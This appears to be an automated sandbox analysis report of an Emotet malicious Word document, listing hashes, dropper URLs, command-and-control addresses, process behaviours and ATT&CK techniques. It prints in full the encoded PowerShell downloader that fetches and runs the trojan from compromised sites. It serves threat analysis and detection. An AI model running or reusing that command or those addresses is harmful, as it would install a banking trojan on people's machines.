emotet | e8f31719cfa3eeffbbfb7818d3c65a8b97024367b02ec81f81d3998126081bb5

Analysis

max time kernel
137s
max time network
151s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 09:46

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General

Target
emotet_e1_e8f31719cfa3eeffbbfb7818d3c65a8b97024367b02ec81f81d3998126081bb5_2020-09-15__094327._doc.doc
Size 154KB
Sample200915-2c3twmm45x
SHA256 e8f31719cfa3eeffbbfb7818d3c65a8b97024367b02ec81f81d3998126081bb5
MD5 d209604c78fc3525341005d90927c9b0
SHA1 7b1c81c1f19f863d25565a45eaa7d08196ab66b7
SHA512 ee5a46d8c2f38640ede27d40355e518b5c673aa4c64574443a24666c5e6e50214705b53ea84abf035d1d19fb8e09b2db871ca126256f71ca2597605c77b6bf2c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://qstride.com/img/1W/
exe.dropper
http://syracusecoffee.com/customer/i/
exe.dropper
http://shahrakyar.com/cms/3e/
exe.dropper
http://vuatritue.com/wp-admin/FkX/
exe.dropper
http://glafka.com/wp-content/2L7/
exe.dropper
http://rovrooftiles.com/wp-includes/nDP/
exe.dropper
http://paulospainting.com/wp-includes/7k/

Extracted

Family

emotet

82.230.1.24:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
61.197.92.216:80
217.199.160.224:7080
61.92.159.208:8080
186.103.141.250:443
104.131.41.185:8080
170.81.48.2:80
50.121.220.50:80
190.195.129.227:8090
187.162.248.237:80
172.104.169.32:8080
199.203.62.165:80
45.161.242.102:80
45.46.37.97:80
96.227.52.8:443
65.36.62.20:80
220.109.145.69:80
74.58.215.226:80
181.129.96.162:8080
45.33.77.42:8080
70.32.115.157:8080
185.178.10.77:80
104.131.103.37:8080
213.197.182.158:8080
73.213.208.163:80
72.47.248.48:7080
181.30.61.163:443
67.247.242.247:80
192.241.143.52:8080
216.47.196.104:80
2.47.112.152:80
212.71.237.140:8080
190.2.31.172:80
190.24.243.186:80
111.67.77.202:8080
185.94.252.27:443
177.74.228.34:80
184.66.18.83:80
68.69.155.181:80
190.6.193.152:8080
77.238.212.227:80
64.201.88.132:80
177.73.0.98:443
190.115.18.139:8080
185.215.227.107:443
95.9.180.128:80
5.189.178.202:8080
191.182.6.118:80
5.196.35.138:7080
50.28.51.143:8080
192.241.146.84:8080
185.94.252.12:80
54.37.42.48:8080
137.74.106.111:7080
45.16.226.117:443
185.183.16.47:80
51.159.23.217:443
209.236.123.42:8080
190.163.31.26:80
87.106.46.107:8080
83.169.21.32:7080
217.13.106.14:8080
190.147.137.153:443
78.249.119.122:80
77.90.136.129:8080
178.250.54.208:8080
74.136.144.133:80
138.97.60.141:7080
219.92.13.25:80
190.190.148.27:8080
68.183.170.114:8080
98.13.75.196:80
70.32.84.74:8080
82.76.111.249:443
51.255.165.160:8080
94.176.234.118:443
152.169.22.67:80
189.2.177.210:443
72.135.200.124:80
188.135.15.49:80
77.106.157.34:8080
204.225.249.100:7080
12.162.84.2:8080
186.70.127.199:8090
68.183.190.199:8080
110.142.219.51:80
111.67.12.221:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2460	1044	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2460	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3500	Luwfh3_t.exe
2788	authui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\lpk\authui.exe	Luwfh3_t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2788	authui.exe
2788	authui.exe
2788	authui.exe
2788	authui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3500	Luwfh3_t.exe
3500	Luwfh3_t.exe
2788	authui.exe
2788	authui.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 3500	2460	powershell.exe	78
PID 2460 wrote to memory of 3500	2460	powershell.exe	78
PID 2460 wrote to memory of 3500	2460	powershell.exe	78
PID 3500 wrote to memory of 2788	3500	Luwfh3_t.exe	82
PID 3500 wrote to memory of 2788	3500	Luwfh3_t.exe	82
PID 3500 wrote to memory of 2788	3500	Luwfh3_t.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_e8f31719cfa3eeffbbfb7818d3c65a8b97024367b02ec81f81d3998126081bb5_2020-09-15__094327._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJAGEAOQBpAGEANQA2AD0AKAAnAEYAJwArACcANwAnACsAKAAnAGIAcgBtACcAKwAnAGQANwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAHIATwBGAEkAbABFAFwARABnAGcATQBPADkAMQBcAFAAZABOAG8AVQBPAGMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBJAGAAVAB5AFAAYABSAGAATwB0AG8AQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwArACcALAAgAHQAbAAnACkAKwAnAHMAJwArACcAMQAnACsAKAAnADEALAAnACsAJwAgACcAKQArACgAJwB0AGwAJwArACcAcwAnACkAKQA7ACQAUwByAGwAegBhAGsAYgAgAD0AIAAoACgAJwBMACcAKwAnAHUAdwAnACkAKwAoACcAZgBoACcAKwAnADMAXwAnACkAKwAnAHQAJwApADsAJABTAG0AaAA4AGwAbwBsAD0AKAAoACcASAAnACsAJwBuAF8AJwApACsAJwBuADUAJwArACcAbQBsACcAKQA7ACQATABvAG4AOABrAGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBDACcAKwAnAFYAVQAnACsAKAAnAEQAZwAnACsAJwBnACcAKQArACcAbQAnACsAKAAnAG8AOQAnACsAJwAxAEMAVgAnACsAJwBVAFAAZABuACcAKwAnAG8AdQAnACkAKwAoACcAbwAnACsAJwBjAEMAVgAnACkAKwAnAFUAJwApACAALQBSAGUAUABMAGEAQwBFACAAIAAoACcAQwBWACcAKwAnAFUAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAFMAcgBsAHoAYQBrAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAGYAcwA3AGkAawBzAD0AKAAoACcAVwA5ACcAKwAnAF8AMwA5ACcAKQArACcANQAnACsAJwB1ACcAKQA7ACQASwBwAG4AbwB3AG4AMgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAG4AVAA7ACQAUAA3ADUAMgAwAHkAMwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvACcAKwAnAHEAcwB0ACcAKwAnAHIAaQAnACsAJwBkAGUALgBjAG8AbQAnACsAJwAvAGkAbQAnACkAKwAnAGcALwAnACsAKAAnADEAJwArACcAVwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AcwB5ACcAKwAnAHIAJwArACcAYQBjAHUAcwBlAGMAbwBmAGYAZQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAYwB1AHMAJwArACcAdAAnACkAKwAoACcAbwBtACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcALwBpACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvAHMAJwArACgAJwBoAGEAaAAnACsAJwByACcAKQArACgAJwBhAGsAeQBhAHIALgAnACsAJwBjAG8AbQAvAGMAJwArACcAbQBzACcAKQArACcALwAzACcAKwAnAGUALwAnACsAJwAqAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAJwAvAHYAJwArACcAdQBhACcAKwAoACcAdAByACcAKwAnAGkAJwApACsAJwB0ACcAKwAnAHUAZQAnACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAKAAnAEYAJwArACcAawBYACcAKQArACgAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBnACcAKQArACgAJwBsAGEAJwArACcAZgBrAGEAJwArACcALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAKAAnAHAAJwArACcALQBjACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnADIATAA3AC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwByACcAKwAnAG8AJwArACcAdgByACcAKQArACcAbwAnACsAKAAnAG8AZgB0AGkAbABlACcAKwAnAHMALgAnACsAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAnAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAZQAnACsAJwBzAC8AJwArACcAbgBEAFAALwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAvAHAAJwApACsAKAAnAGEAdQAnACsAJwBsACcAKwAnAG8AcwBwAGEAaQBuAHQAJwApACsAJwBpAG4AJwArACgAJwBnAC4AYwBvACcAKwAnAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGkAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZABlAHMALwA3ACcAKwAnAGsALwAnACkAKQAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHUAawBzAHkAcQA3AD0AKAAnAFMAYwAnACsAJwBiACcAKwAoACcAMQA4ACcAKwAnAGYAeAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAcwA4ADIAbABvAGQAIABpAG4AIAAkAFAANwA1ADIAMAB5ADMAKQB7AHQAcgB5AHsAJABLAHAAbgBvAHcAbgAyAC4AIgBEAGAATwB3AE4ATABgAE8AYQBkAEYASQBMAGUAIgAoACQAVQBzADgAMgBsAG8AZAAsACAAJABMAG8AbgA4AGsAawB6ACkAOwAkAEkANQBuAHgAcgB4AHAAPQAoACcAVgAnACsAKAAnAF8AYQAnACsAJwBuACcAKQArACgAJwBwACcAKwAnAHUAcgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMAG8AbgA4AGsAawB6ACkALgAiAEwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADYAMAAxACkAIAB7AC4AKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEwAbwBuADgAawBrAHoAKQA7ACQAWQA5AGoAYwA0AHkAbwA9ACgAJwBCAGcAJwArACgAJwBnAGkANAAnACsAJwBsACcAKQArACcAMQAnACkAOwBiAHIAZQBhAGsAOwAkAFUAcgBlAHEAOQB2ADQAPQAoACcAVwB4ACcAKwAoACcAeQBwACcAKwAnAHQAJwApACsAJwBiAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADcAOQBpAG8AZgBzAD0AKAAnAFoAJwArACgAJwBvAHAAcgAnACsAJwBqACcAKQArACcAaABjACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe
  "C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\SysWOW64\lpk\authui.exe
    "C:\Windows\SysWOW64\lpk\authui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2460-10-0x000001CECF890000-0x000001CECF891000-memory.dmp

Download

memory/2460-11-0x000001CEE7C90000-0x000001CEE7C91000-memory.dmp

Download

memory/2460-9-0x00007FF8D6700000-0x00007FF8D70EC000-memory.dmp

Download

memory/2788-20-0x00000000020C0000-0x00000000020D0000-memory.dmp

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memory/2788-19-0x00000000020E0000-0x00000000020F2000-memory.dmp

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memory/3500-16-0x0000000000680000-0x0000000000690000-memory.dmp

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memory/3500-15-0x0000000000660000-0x0000000000672000-memory.dmp

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memory/3908-8-0x000002253B4F1000-0x000002253B4F6000-memory.dmp

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memory/3908-7-0x000002253B4F1000-0x000002253B4F6000-memory.dmp

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memory/3908-6-0x000002253B4F1000-0x000002253B4F6000-memory.dmp

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memory/3908-0-0x00007FF8DE060000-0x00007FF8DE726000-memory.dmp

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memory/3908-4-0x000002253B34D000-0x000002253B352000-memory.dmp

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memory/3908-3-0x000002253B34D000-0x000002253B352000-memory.dmp

Download

memory/3908-2-0x000002253B34D000-0x000002253B352000-memory.dmp

Download

memory/3908-1-0x000002253B352000-0x000002253B357000-memory.dmp

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